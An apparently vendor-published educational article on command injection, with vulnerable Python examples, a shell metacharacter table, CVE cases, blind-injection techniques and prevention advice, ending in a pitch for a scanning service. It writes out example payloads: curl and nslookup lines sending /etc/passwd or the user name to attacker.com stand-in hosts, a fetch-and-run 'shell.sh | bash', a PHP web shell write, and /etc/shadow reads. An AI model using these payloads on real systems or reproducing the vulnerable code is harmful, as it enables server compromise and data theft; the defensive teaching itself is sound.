What Is Command Injection?
Command injection is a web application vulnerability that allows an attacker to execute arbitrary operating system commands on the server hosting the application. It occurs when user-supplied input is passed to a system shell without sufficient sanitisation — the application intends to run one command, but the attacker appends or substitutes additional commands that the shell executes with the same privileges as the web process.
Command injection is consistently listed in the OWASP Top 10 under Injection (A03:2021) and is one of the highest-severity vulnerability classes in web security. Successful exploitation typically results in full server compromise: the attacker can read any file, exfiltrate databases, establish persistent backdoors, pivot to internal networks, and destroy evidence of their presence. It is, in practical terms, one step from total loss of the affected system.
How Command Injection Happens
The Vulnerable Pattern
Command injection arises when an application constructs a shell command by concatenating user-supplied input directly into the command string:
```python import subprocess from flask import request
# VULNERABLE — user input embedded directly in shell command def ping_host(): host = request.args.get('host') result = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True, text=True) return result.stdout ```
The developer's intent: accept a hostname, run `ping -c 1 <hostname>`, return output. What happens when an attacker provides:
``` host=8.8.8.8; cat /etc/passwd ```
The shell receives:
```bash ping -c 1 8.8.8.8; cat /etc/passwd ```
The semicolon is a shell command separator. Both commands execute. The ping runs as intended; then `cat /etc/passwd` dumps the server's password file to the attacker.
Shell Metacharacters
Attackers exploit the special characters that shells use to chain commands, redirect output, or substitute command results:
| Character | Meaning | Example payload | |---|---|---| | `;` | Command separator | `host; whoami` | | `&&` | Run second if first succeeds | `host && id` | | `||` | Run second if first fails | `invalid || id` | | `|` | Pipe output | `host | cat /etc/shadow` | | ````` | Command substitution | `host`id`` | | `$(...)` | Command substitution | `host $(id)` | | `\n` | Newline separator | `host%0aid` | | `&` | Background execution | `host & id` |
Different operating systems support different metacharacters. On Windows:
| Character | Meaning | |---|---| | `&` | Run commands sequentially | | `&&` | Run second if first succeeds | | `|` | Pipe | | `||` | Run second if first fails |
Real-World Command Injection Examples
CVE-2021-41773 — Apache HTTP Server
One of the most dramatic recent examples of command injection in widely-deployed software. Apache HTTP Server 2.4.49 contained a path traversal vulnerability that, when combined with mod_cgi being enabled, allowed unauthenticated remote code execution via a crafted URL:
``` POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 7
echo;id ```
Thousands of Apache servers were actively exploited within days of disclosure. The combination of path traversal enabling access to `/bin/sh` and CGI enabling its execution as a command processor made this a textbook command injection chain.
CVE-2022-1388 — F5 BIG-IP iControl REST
The F5 BIG-IP authentication bypass allowed attackers to send requests to the iControl REST API as an administrative user. The API endpoint accepted system commands that were passed to the underlying Linux shell, giving attackers command injection on a class of network appliances that often sit on the boundary of enterprise networks. Exploited in the wild within days of public disclosure.
Ping / Traceroute / DNS Lookup Features
Network diagnostic features built into web applications are a classic command injection vector. Any web interface that runs `ping`, `nslookup`, `traceroute`, `dig`, `whois`, or similar tools based on user-supplied input is a candidate.
Router admin panels, hosting control panels (cPanel, Plesk), and network monitoring dashboards have all historically contained command injection in diagnostic features.
Image Processing and File Conversion
Applications that process user-uploaded files by passing them to command-line tools are another common source:
```python # VULNERABLE — filename from user upload embedded in ImageMagick command os.system(f"convert {upload_path}/{filename} -resize 800x600 {output_path}/{filename}") ```
If the filename contains shell metacharacters — `photo.jpg; curl attacker.com/shell.sh | bash` — the injected command executes. ImageMagick has its own long history of command injection vulnerabilities (ImageTragick, CVE-2016-3714) that extend this risk further.
Log Parsing and Monitoring Tools
Custom log parsing scripts that call `grep`, `awk`, `sed`, or `tail` with user-controlled arguments are vulnerable when those arguments are passed through a shell:
```bash grep "$user_search_term" /var/log/app.log ```
Input of `legitimate_term" /etc/shadow "ignored` rewrites the grep to target `/etc/shadow` instead of the intended log file.
Blind Command Injection
In many real-world cases, command output isn't returned to the attacker directly. The ping example above returns output, but many vulnerable endpoints process commands in the background without reflecting results. This is blind command injection.
Attackers detect and exploit it through:
Time-Based Detection
``` host=127.0.0.1; sleep 10 ```
If the response takes 10 seconds longer than usual, the `sleep` command executed — confirming injection.
Out-of-Band Exfiltration
DNS callbacks using tools like Burp Collaborator or interactsh:
``` host=127.0.0.1; nslookup $(whoami).attacker-callback.com ```
The DNS query for `<current-user>.attacker-callback.com` is logged by the attacker's server, confirming both injection and leaking the process user identity.
HTTP callbacks for data exfiltration:
``` host=127.0.0.1; curl http://attacker.com/collect?data=$(cat /etc/passwd | base64) ```
File Write
If the web server can write to the document root:
``` host=127.0.0.1; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php ```
This drops a web shell that gives persistent, interactive command execution through a browser.
Privilege Escalation After Initial Command Injection
Initial command injection typically runs as the web server process user — `www-data`, `nginx`, `apache`, or a dedicated app user. This is significant privilege but rarely root. Attackers commonly chain command injection with:
- **SUID binary abuse** — finding binaries with the SUID bit set that can be used to escalate to root - **Sudo misconfiguration** — web process users sometimes have sudo rules allowing specific commands that can be leveraged - **Kernel exploits** — an unpatched kernel on the host enables privilege escalation independent of the web application - **Credential files** — reading `.env` files, configuration files, and database credentials, then reusing them to access other systems
How to Prevent Command Injection
Never Pass User Input to a Shell
The most effective mitigation is architectural: don't construct shell commands from user input at all. Most operations that developers implement via shell commands have native library equivalents:
```python # WRONG — shell=True with user input subprocess.run(f"ping -c 1 {host}", shell=True)
# RIGHT — pass arguments as a list, no shell interpretation subprocess.run(["ping", "-c", "1", host], shell=False) ```
With `shell=False` and arguments as a list, shell metacharacters in `host` are passed as literal characters to the `ping` binary — not interpreted by a shell. An input of `8.8.8.8; id` becomes the hostname `8.8.8.8; id` (which will fail to resolve, not execute `id`).
Use Native Language APIs Instead of Shell Commands
| Task | Shell (vulnerable) | Native API (safe) | |---|---|---| | List directory | `os.system("ls " + path)` | `os.listdir(path)` | | Read file | `os.system("cat " + file)` | `open(file).read()` | | DNS lookup | `os.system("nslookup " + host)` | `socket.gethostbyname(host)` | | Send email | `os.system("sendmail " + addr)` | SMTP library |
Input Validation
If you must pass input to a shell command, validate it strictly before use. For a hostname: verify it matches `^[a-zA-Z0-9.-]+$` and reject anything else. Allowlists are far more reliable than denylists — there are too many shell metacharacter variants to block exhaustively.
Principle of Least Privilege
Run your web application as a dedicated low-privilege user. If command injection is exploited, the attacker's initial foothold is limited. Don't run web processes as root. Use read-only filesystem mounts where possible. Restrict outbound network access so DNS and HTTP callbacks fail.
Web Application Firewall
A WAF can block common command injection payloads at the perimeter. It's a layer of defence, not a fix — WAFs are routinely bypassed by encoding, case variation, and novel payload construction — but they raise the effort required.
Testing for Command Injection
Yrzo AI's continuous automated scanning tests all user-input fields, URL parameters, file upload handlers, and API endpoints for command injection indicators — including time-based blind injection and callback-based detection. Because command injection leads directly to server compromise, findings are classified as critical severity and flagged for immediate remediation.
**[Test your application for command injection → Start free at yrzoai.dev](https://yrzoai.dev)**
One unvalidated input field that reaches a shell call is all it takes. Continuous testing catches them before an attacker does.
Find out if your website has these vulnerabilities
Yrzo AI runs 44 automated security checks and delivers a full report in under 20 minutes. Starting from £399.
Scan your website →